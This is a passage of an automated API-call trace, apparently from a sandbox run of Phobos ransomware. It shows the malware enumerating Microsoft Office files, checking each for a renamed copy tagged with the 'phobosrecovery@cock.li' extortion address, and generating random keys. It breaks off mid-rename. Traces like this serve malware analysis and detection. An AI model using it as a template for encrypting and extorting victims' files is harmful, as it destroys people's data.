dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.135] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.135] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=114) returned 1 [0155.135] CloseHandle (hObject=0x36c) returned 1 [0155.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_f_col.hxk")) returned 0x220 [0155.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_F_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_f_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.135] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.136] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=113) returned 1 [0155.136] CloseHandle (hObject=0x36c) returned 1 [0155.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_k_col.hxk")) returned 0x220 [0155.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_K_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_k_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.136] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.136] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.136] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visutils.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.139] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=60496) returned 1 [0155.139] CloseHandle (hObject=0x250) returned 1 [0155.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visutils.vsl")) returned 0x220 [0155.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISUTILS.VSL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visutils.vsl.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.139] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visutils.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.139] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.139] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISWEB.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visweb.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.159] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=77416) returned 1 [0155.159] CloseHandle (hObject=0x250) returned 1 [0155.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISWEB.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visweb.vsl")) returned 0x220 [0155.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISWEB.VSL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visweb.vsl.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.159] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISWEB.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visweb.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.159] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.160] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDALLLNK.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wdalllnk.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.164] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1940) returned 1 [0155.164] CloseHandle (hObject=0x250) returned 1 [0155.165] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDALLLNK.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wdalllnk.vrd")) returned 0x220 [0155.165] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDALLLNK.VRD.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wdalllnk.vrd.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.165] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDALLLNK.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wdalllnk.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.165] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.165] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.166] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=388792) returned 1 [0155.166] CloseHandle (hObject=0x250) returned 1 [0155.166] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj.hxs")) returned 0x220 [0155.166] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj.hxs.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.166] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.166] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.166] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.171] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=641) returned 1 [0155.171] CloseHandle (hObject=0x250) returned 1 [0155.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_col.hxc")) returned 0x220 [0155.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_COL.HXC.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_col.hxc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.175] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.177] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.181] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=388842) returned 1 [0155.181] CloseHandle (hObject=0x250) returned 1 [0155.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std.hxs")) returned 0x220 [0155.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std.hxs.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.181] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.181] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.181] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.183] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=211) returned 1 [0155.183] CloseHandle (hObject=0x250) returned 1 [0155.183] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_col.hxt")) returned 0x220 [0155.183] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_COL.HXT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_col.hxt.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.183] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.183] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.183] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.186] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=114) returned 1 [0155.186] CloseHandle (hObject=0x254) returned 1 [0155.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_f_col.hxk")) returned 0x220 [0155.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_F_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_f_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_std_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.186] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winschd.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.190] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1544) returned 1 [0155.190] CloseHandle (hObject=0x250) returned 1 [0155.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winschd.vrd")) returned 0x220 [0155.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINSCHD.VRD.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winschd.vrd.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winschd.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.193] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.195] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=623312) returned 1 [0155.195] CloseHandle (hObject=0x250) returned 1 [0155.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword.hxs")) returned 0x220 [0155.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword.hxs.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.195] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.196] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=631) returned 1 [0155.196] CloseHandle (hObject=0x250) returned 1 [0155.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_col.hxc")) returned 0x220 [0155.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_COL.HXC.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_col.hxc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.197] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.197] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.197] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=114) returned 1 [0155.197] CloseHandle (hObject=0x250) returned 1 [0155.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_f_col.hxk")) returned 0x220 [0155.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_F_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_f_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winword_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.202] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.202] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wwintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0155.207] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=768672) returned 1 [0155.207] CloseHandle (hObject=0x564) returned 1 [0155.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wwintl.dll")) returned 0x220 [0155.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WWINTL.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wwintl.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.207] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wwintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.207] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.207] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XFUNC.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xfunc.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0155.209] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=61552) returned 1 [0155.209] CloseHandle (hObject=0x564) returned 1 [0155.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XFUNC.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xfunc.vsl")) returned 0x220 [0155.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XFUNC.VSL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xfunc.vsl.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.209] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XFUNC.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xfunc.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.209] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.209] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlintl32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0155.211] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=17046208) returned 1 [0155.211] CloseHandle (hObject=0x564) returned 1 [0155.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlintl32.dll")) returned 0x220 [0155.212] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlintl32.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft 